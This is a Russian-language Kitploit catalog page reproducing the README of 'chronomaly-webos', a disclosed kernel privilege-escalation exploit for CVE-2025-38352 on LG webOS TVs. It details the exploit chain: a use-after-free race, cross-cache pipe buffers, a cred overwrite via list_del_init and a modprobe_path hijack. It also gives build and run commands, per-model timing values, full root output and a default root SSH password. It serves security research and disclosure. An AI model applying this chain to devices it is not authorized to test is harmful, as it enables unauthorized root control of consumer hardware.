Skip to content
KitploitKITPLOIT
ИнструментыБлог
Отправить
ИнструментыБлог
Отправить

Инструменты для хакинга, пентеста и кибербезопасности — ваш арсенал защиты!

Kitploit — это каталог инструментов для хакинга, кибербезопасности и пентестинга. Находите последние обновления проектов для поиска уязвимостей, анализа систем, автоматизации тестирования и усиления вашей безопасности.

··Ленты·Контакты·Конфиденциальность·© 2026 Kitploit

Каталог инструментов

Категории

Все категории
Loading categories
chronomaly-webos — CVE-2025-38352 эксплойт для ядра LG webOS Smart TVs (ARM64). Обеспечивает постоянный root-доступ на реальном потребительском оборудовании с использованием новых техник эксплуатации. Ответственно раскрыт LG. | Kitploit
Инструменты/GitHubGitHub/analyticeth/chronomaly-webos
Безопасность встроенных системПовышение привилегийАнализ уязвимостейЭксплуатацияАппаратная БезопасностьОбучение и ОбразованиеЭксплуатация Бинарных Файлов
GitHubanalyticeth/chronomaly-webos

Популярное

Смотреть все →

Откройте для себя самые используемые инструменты нашего сообщества.

Изучить все инструменты

Просмотрите нашу коллекцию инструментов

Смотреть все инструменты →
Поделиться

chronomaly-webos

CVE-2025-38352 эксплойт для ядра LG webOS Smart TVs (ARM64). Обеспечивает постоянный root-доступ на реальном потребительском оборудовании с использованием новых техник эксплуатации. Ответственно раскрыт LG.

Репозиторий
102 месяцев назадЕщё не проверено

Chronomaly — CVE-2025-38352 на LG webOS

Эксплойт ядра для CVE-2025-38352 (состояние гонки таймера CPU POSIX / use-after-free), обеспечивающий постоянный root на LG webOS Smart TV с ядром 5.4.268 на ARM64. Проверено на 4 моделях телевизоров с различными версиями прошивки. Ответственно раскрыто в Программе исследователей безопасности LG (февраль 2026).

Создано на основе Chronomaly от farazsth98. Логика гонки UAF на этапе 1 и инфраструктура кросс-кэша портированы и адаптированы для ARM64; этапы 2–5 перепроектированы с использованием новых методов эксплуатации и решений, учитывающих ограничения реального оборудования, отсутствующие в эмулированных средах. Разработано с помощью Claude Opus 4.6.

См. VULNERABILITY_REPORT.md для полного анализа уязвимости, описания цепочки эксплойта и рекомендуемых мер защиты.

Результаты

  • Постоянный root ядра (uid=0) из непривилегированного пользователя prisoner (uid=5038)
  • Проверено на 5 моделях LG TV: OLED65C2PUA, 86QNED70AUA, OLED77C5PUA, OLED77G4WUA, OLED65C4PUA
  • Подтверждено для версий прошивки 33.22.65 – 33.30.97 (ядро 5.4.268-320 и -329)
  • Полностью автоматизирован, выполняется за минуты, сохраняется после перезагрузки через повышение привилегий Homebrew Channel
  • Сообщено в Программу исследователей безопасности LG (7 февраля 2026)

Отказ от ответственности

Данный эксплойт был разработан в рамках ответственного исследования безопасности и сообщен в Программу исследователей безопасности LG 7 февраля 2026 года. Он публикуется исключительно в образовательных целях. Используйте ответственно и только на принадлежащих вам устройствах. Авторы не несут ответственности за любой ущерб, повреждение устройства ('bricking'), потерю данных или аннулирование гарантии в результате использования данного программного обеспечения. Программное обеспечение предоставляется 'как есть' без каких-либо гарантий.

Новые методы

1. Переработанный примитив записи

Оригинальное произвольное уменьшение медленное и шумное: оно распыляет 1000 объектов struct cred через форкнутые процессы, затем уменьшает поле EUID целевого cred N раз. Каждое уменьшение — отдельная операция. Это приемлемо в QEMU, где тайминги терпимы, но ненадежно на реальном оборудовании, где управляемая прерываниями сборка страниц может украсть страницы буфера канала между операциями.

Это было заменено одной произвольной записью через list_del_init(). Эксплойт перезаписывает указатели list_head.next и list_head.prev UAF'нутого sigqueue через буфер канала. Когда ядро извлекает ожидающий сигнал (collect_signal() → list_del_init()), оно выполняет prev->next = next (записывает адрес поддельного cred в task_struct->cred) и next->prev = prev (контролируемая побочная запись). Одна запись заменяет указатель cred процесса на указатель на поддельную структуру cred, содержащую все нулевые поля uid/gid. Никакого распыления cred, никаких форкнутых процессов, детерминированно.

2. peek_pipe() через tee() для неразрушающего чтения

Оригинал использует разрушающие вызовы read() для буферов каналов на протяжении всего эксплойта. В QEMU это работает нормально, так как страницы не крадутся между операциями. На реальном оборудовании с 4 физическими ядрами per-CPU список страниц (pcplist) ядра агрессивно перерабатывает освобожденные страницы. Разрушающее чтение освобождает резервную страницу буфера канала, которая может быть немедленно украдена аппаратным прерыванием до того, как эксплойт сможет её перераспределить.

Решение — неразрушающий примитив чтения канала с использованием tee(). Системный вызов tee() дублирует данные канала между двумя каналами без их потребления, удерживая резервную страницу исходного буфера канала закрепленной. Это позволяет эксплойту многократно читать данные ядра из кросс-кэшированного буфера канала без риска потери страницы. Это было критически важно для надежности на реальном оборудовании.

3. Поддельные cred во втором кросс-кэшированном буфере канала

Оригинал распыляет объекты cred и надеется, что один из них окажется в предсказуемом месте. Эта версия создает поддельную структуру cred по известному адресу путем выполнения второго кросс-кэша: выделяет новый sigqueue (через tkill(SIGRTMIN+1)), узнает его адрес из утечки кучи первого буфера канала, а затем кросс-кэширует страницу slab этого sigqueue во второй буфер канала. Поддельные cred записываются во второй буфер канала по точному смещению страницы утекшего адреса sigqueue. В результате получаются поддельные cred по детерминированному виртуальному адресу ядра без угадывания.

4. SIGUSR2 остается ожидающим как финальный триггер записи

Оригинал извлекает SIGUSR2 на раннем этапе 2, чтобы узнать адрес UAF sigqueue. Это потребляет сигнал, поэтому оригиналу нужен другой механизм для финальной записи. Эта версия никогда не требует собственного адреса UAF sigqueue (утечка кучи получается из соседних указателей sigqueue в буфере канала). SIGUSR2 остается ожидающим на всех пяти этапах, и его извлечение используется как финальный триггер произвольной записи. Сигнал, создавший UAF, — это тот же сигнал, чье извлечение его эксплуатирует.

5. Повышение привилегий через modprobe_path + socket(44)

Поддельная структура cred содержит NULL-указатели user_ns, user и group_info (поскольку буфер канала обнуляется за пределами полей uid/gid). Вызов setresuid(), fork() или exec() приведет к разыменованию этих NULL-указателей и панике ядра. Оригинал избегает этого, потому что его распыление cred использует реальные объекты cred с валидными указателями.

Решение: перезаписать /proc/sys/kernel/modprobe, указав на скрипт полезной нагрузки (/tmp/pwn), затем вызвать call_usermodehelper через socket(44, SOCK_STREAM, 0) (запрос несуществующего семейства протоколов). Ядро выполняет хелпер modprobe с init_cred (собственные корневые учетные данные ядра, полностью валидные), полностью обходя поврежденные cred. Полезная нагрузка выполняется с полными правами root и может выполнять произвольные операции.

6. Защита временных интервалов для реального оборудования

Критическое окно на этапе 4 (запись вредоносных указателей в буфер канала, затем извлечение сигнала) уязвимо для аппаратных прерываний, которые могут украсть страницу буфера канала из per-CPU списка страниц. В QEMU этого не происходит. На реальном оборудовании это окно защищается приоритетом SCHED_FIFO (когда доступен) и sched_yield() для завершения ожидающих работ на ЦП перед входом в критическую секцию, а также предварительно подготовленным содержимым буфера для минимизации времени между записью и триггером. Эксплойт также корректно переключается в резервный режим, когда SCHED_FIFO недоступен (как на webOS, где пользователь prisoner не имеет CAP_SYS_NICE).

7. Обратное проектирование смещения task_struct для ARM64

Произвольная запись нацелена на task_struct->cred, что требует знания байтового смещения от task_struct->pending (чей адрес утекает из буфера канала) до task_struct->cred. Это смещение зависит от конфигурации ядра. Смещение 0x80 (128 байт) было вручную вычислено из исходного кода ядра LG webOS с учетом CONFIG_KEYS=y, CONFIG_SYSVIPC=y и специфичных для ARM64 структуры и выравнивания. Смещение x86_64 в оригинале отличается из-за другой упаковки структур и параметров конфигурации.


Что он делает

В случае успеха эксплойт:

  1. Получает root ядра через UAF → кросс-кэш → произвольная запись (перезапись cred)
  2. Перезаписывает /proc/sys/kernel/modprobe, чтобы запустить полезную нагрузку для рутинга от имени init
  3. Полезная нагрузка устанавливает и повышает привилегии Homebrew Channel и удаляет приложение Dev Mode
  4. После перезагрузки Homebrew Channel предоставляет постоянный root SSH на порту 22

Быстрый старт

Предварительные требования

  • LG webOS TV с ядром 5.4.268 (ARM64)
  • Включен режим разработчика на телевизоре (доступ по SSH на порту 9922)
  • Кросс-компилятор ARM64 (aarch64-linux-gnu-gcc)
  • IPK Homebrew Channel — скачать с релизов webosbrew

Установка кросс-компилятора

root@kitploit:~
# macOS (requires third-party tap)
brew tap messense/macos-cross-toolchains
brew install aarch64-unknown-linux-gnu

# Ubuntu/Debian
sudo apt-get install gcc-aarch64-linux-gnu

Рекомендуется: сначала установить Homebrew Channel

Установите приложение Homebrew Channel на телевизор через режим разработчика до запуска эксплойта. Таким образом, полезная нагрузка для рутинга должна будет только повысить его привилегии (быстро, надежно), а не устанавливать + повышать (медленнее, может завершиться ошибкой). Вы можете установить его вручную через ares-install или приложение Dev Manager:

root@kitploit:~
ares-install org.webosbrew.hbchannel_0.7.3_all.ipk

Если HBC не установлен заранее, эксплойт попытается установить его из /tmp/hbchannel.ipk (развернутого deploy-webos.sh), но это добавляет дополнительные шаги, которые могут завершиться ошибкой.

Сборка, развертывание, запуск

root@kitploit:~
# 1. Set your TV's IP and SSH key
#    Your TV's IP is in Settings > Network > Wi-Fi > Advanced Settings
#    The SSH key is generated by the LG Developer Mode app — look for the key
#    downloaded by Dev Manager or ares-setup-device (typically named webos_rsa)
export WEBOS_IP="<TV_IP>"
export WEBOS_KEY="$HOME/.ssh/webos_rsa"

# 2. Build and deploy (deploy-webos.sh handles the build automatically)
./deploy-webos.sh

# 3. Connect and run
ssh -i "$WEBOS_KEY" -p 9922 -o HostKeyAlgorithms=+ssh-rsa -o PubkeyAcceptedAlgorithms=+ssh-rsa prisoner@$WEBOS_IP
/tmp/exploit-arm64

Переменные окружения

Настройка

Эксплойт принимает параметры тайминга как аргументы командной строки:

root@kitploit:~
/tmp/exploit-arm64 [DELAY] [DELTA] [THRESHOLD]

Если аргументы не предоставлены, используются скомпилированные значения по умолчанию (DELAY=31000, DELTA=50, THRESHOLD=3000). Если указан DELAY, но не указан DELTA, DELTA вычисляется автоматически как DELAY / 600 (округляется до ближайшего 5).

Известные хорошие значения

Поиск значений для нового телевизора

Следите за выводом эксплойта и корректируйте DELAY:

root@kitploit:~
Parent raced too late   → DECREASE DELAY
Parent raced too early  → INCREASE DELAY

Когда появляются оба сообщения, тайминг близок — продолжайте запускать, и эксплойт в конечном итоге попадет в окно гонки. Начните со скомпилированного значения по умолчанию (31000) и корректируйте оттуда.

После получения root

  1. Эксплойт будет ждать завершения /tmp/pwn — часто происходит тайм-аут (это нормально). При необходимости проверьте /tmp/pwn.log, чтобы вручную убедиться, что полезная нагрузка завершена.
  2. Перезагрузите телевизор
  3. После перезагрузки Homebrew Channel предоставляет SSH на порту 22:
    root@kitploit:~
    ssh root@<TV_IP>
    # password: alpine
    

Пример вывода

root@kitploit:~
[*] Chronomaly - CVE-2025-38352 - webOS ARM64
[*] Config: DELAY=30500 DELTA=50 THRESH=3000 EPOLL=250 SFD=60
[*] Initializing...
[*] Racing...
[*] getpid() timing: 165 ns
        [+] Freed UAF sigqueue in parent process pid 28522

[+] Stage 2 - Cross-cache the UAF sigqueue's slab
        [+] Reallocated UAF sigqueue slab as a pipe buffer data page
        [+] Heap leak successful! Continuing...
        [+] SIGUSR2 kept pending - UAF sigqueue stays in list

[+] Stage 3 - Cross-cache new sigqueue's slab to second pipe buffer
        [+] fake_cred_addr = 0xffffff804908c820

[+] Stage 4 - Set up arbitrary write via UAF sigqueue
        [+] Will write: *0xffffff8048591378 = 0xffffff804908c820
        [+] SIGUSR2 still pending from Stage 1
        [DEBUG] All sigqueue fields verified OK

[+] Stage 5 - Trigger arbitrary write via signal dequeue
        [+] Signal dequeued successfully!
        [+] Arbitrary write completed: task->cred now points to fake_cred
        [+] Current EUID: 0, UID: 1213797240

         ██████╗  ██████╗  ██████╗ ████████╗    ██╗
         ██╔══██╗██╔═══██╗██╔═══██╗╚══██╔══╝    ██║
         ██████╔╝██║   ██║██║   ██║   ██║       ██║
         ██╔══██╗██║   ██║██║   ██║   ██║       ╚═╝
         ██║  ██║╚██████╔╝╚██████╔╝   ██║       ██╗
         ╚═╝  ╚═╝ ╚═════╝  ╚═════╝    ╚═╝       ╚═╝

        [+] ROOT ACHIEVED! EUID = 0
        [+] modprobe -> /tmp/pwn
        [+] Rooting payload executed!
Полный вывод (OLED C5)
root@kitploit:~
[*] Chronomaly - CVE-2025-38352 - webOS ARM64
[*] Config: DELAY=30500 DELTA=50 THRESH=3000 EPOLL=250 SFD=60
[*] Initializing...
[*] Racing...
[*] getpid() timing: 165 ns
        [+] Freed UAF sigqueue in parent process pid 28522

[+] Stage 2 - Cross-cache the UAF sigqueue's slab
        [+] Reallocated UAF sigqueue slab as a pipe buffer data page
        [+] Cleaning up all cross-cache allocations to prepare for next cross-cache
        [+] Preparing task pending list for heap leaks
        [DEBUG] Pipe buffer page dump (non-zero qwords):
        [DEBUG]   offset 0x960: 0xffffff804dbee2d0 [kernel ptr]
        [DEBUG]   offset 0x968: 0xffffff80485913f8 [kernel ptr]
        [+] Heap leaks:
                - UAF sigqueue page offset 0x960
                - Other sigqueue 0xffffff804dbee2d0
                - Task pending list addr 0xffffff80485913f8
        [+] Heap leak successful! Continuing...
        [+] SIGUSR2 kept pending - UAF sigqueue stays in list

[+] Stage 3 - Cross-cache new sigqueue's slab to second pipe buffer
        [+] new_addr = 0xffffff804908c820 (page offset 0x820)
        [+] Dequeuing SIGRTMIN+1 (2nd time) to free new sigqueue from slab 3...
        [+] Freeing slab 3 page...
        [+] Writing fake cred at page offset 0x820
        [+] Reclaimed slab 3 page as second pipe buffer (with fake cred)
        [+] fake_cred_addr = 0xffffff804908c820 (= new_addr from Stage 3 SIGRTMIN+1)

[+] Stage 4 - Set up arbitrary write via UAF sigqueue
        [+] task_pending_list_addr = 0xffffff80485913f8
        [+] cred_offset = 0x80 (128 bytes)
        [+] task_cred_ptr_addr = 0xffffff8048591378
        [+] fake_cred_addr = 0xffffff804908c820
        [+] Will write: *0xffffff8048591378 = 0xffffff804908c820
        [+] SIGUSR2 still pending from Stage 1
        [-] SCHED_FIFO unavailable - proceeding anyway
        [DEBUG] Verifying sigqueue fields in pipe buffer:
        [DEBUG]   list.next  = 0xffffff804908c820 (expected 0xffffff804908c820) OK
        [DEBUG]   list.prev  = 0xffffff8048591378 (expected 0xffffff8048591378) OK
        [DEBUG]   flags      = 1 (expected 1) OK
        [DEBUG]   si_signo   = 12 (expected 12 = SIGUSR2) OK
        [DEBUG]   All sigqueue fields verified OK

[+] Stage 5 - Trigger arbitrary write via signal dequeue
        [+] Dequeuing ORIGINAL SIGUSR2 from Stage 1 (never dequeued until now)
        [+] This triggers list_del_init: *0xffffff8048591378 = 0xffffff804908c820
        [DEBUG] poll() returned 1, revents=0x1
        [DEBUG] SIGUSR2 = 12, sigusr2_sfd = 5
        [DEBUG] Key addresses for list_del_init:
        [DEBUG]   UAF.prev (entry->prev) = task_cred_ptr = 0xffffff8048591378
        [DEBUG]   UAF.next (entry->next) = fake_cred     = 0xffffff804908c820
        [DEBUG]   fake_cred[0] should be task_pending_list = 0xffffff80485913f8
        [DEBUG] Expected writes:
        [DEBUG]   *(0xffffff8048591378) = 0xffffff804908c820  (task->cred = fake_cred)
        [DEBUG]   *(0xffffff804908c828) = 0xffffff8048591378  (fake_cred.prev = task_cred_ptr)
        [DEBUG] Verifying pipe buffers still valid...
        [DEBUG]   realloc_pipe read(0) = 0 (errno=1)
        [DEBUG] About to call read(sigusr2_sfd) - this triggers list_del_init...
        [DEBUG] NOTE: If it hangs here, the exploit has failed and you must start over.
        [DEBUG] read() returned 128, errno=0 (Success)
        [DEBUG] Blocking mode restored
        [+] Signal dequeued successfully! (read 128 bytes)
        [DEBUG] POST-DEQUEUE pipe buffer check:
        [DEBUG]   list.next = 0xffffff80417e9960
        [DEBUG]   list.prev = 0xffffff80417e9960
        [DEBUG]   Pointers changed by kernel (list_del_init applied to our page)
        [+] Arbitrary write completed: task->cred now points to fake_cred

        [+] Checking privileges...
        [+] Current EUID: 0, UID: 1213797240

         ██████╗  ██████╗  ██████╗ ████████╗    ██╗
         ██╔══██╗██╔═══██╗██╔═══██╗╚══██╔══╝    ██║
         ██████╔╝██║   ██║██║   ██║   ██║       ██║
         ██╔══██╗██║   ██║██║   ██║   ██║       ╚═╝
         ██║  ██║╚██████╔╝╚██████╔╝   ██║       ██╗
         ╚═╝  ╚═╝ ╚═════╝  ╚═════╝    ╚═╝       ╚═╝

        [+] ROOT ACHIEVED! EUID = 0
        [+] modprobe -> /tmp/pwn
        [+] Rooting payload executed!
        [+] Waiting for /tmp/pwn to finish...
        [+] May take up to 5 minutes to finish.

Лицензия

Оригинальные вклады лицензированы по MIT. Части, производные от Chronomaly от farazsth98, исключены из лицензии MIT, поскольку вышестоящий проект был опубликован без явной лицензии. См. LICENSE для подробностей.

Ссылки

  • CVE-2025-38352 — Бюллетень безопасности Android за сентябрь 2025 (эксплуатируется в реальных условиях)
  • Chronomaly — Оригинальный эксплойт от farazsth98 (x86_64/QEMU)
  • Part 1 — In-the-wild Android Kernel Vulnerability Analysis + PoC
  • Part 2 — Extending The Race Window Without a Kernel Patch
  • Part 3 — Uncovering Chronomaly
  • Homebrew Channel
Скачать инструмент
ПеременнаяПо умолчаниюОписание
WEBOS_IP192.168.1.100IP-адрес телевизора
WEBOS_PORT9922SSH порт
WEBOS_USERprisonerSSH пользователь
WEBOS_KEY$HOME/.ssh/webos_rsaПуть к SSH-ключу
Модель TVOTA IDDELAYDELTATHRESHOLD
OLED65C2PUAHE_DTV_W22O_AFABATPU29700503000
86QNED70AUAHE_DTV_W25P_AFADATAA1000001653000
OLED77C5PUAHE_DTV_W25G_AFABATAA30500503000
OLED77G4WUAHE_DTV_W24O_AFABATAA24500502500
OLED65C4PUAHE_DTV_W24G_AFABATAA30000503000
OLED55C4PUAHE_DTV_W24G_AFABATAA30300503000
OLED48C3AUB-31300503000
OLED65C3PUAHE_DTV_W23O_AFABJAAA27900503000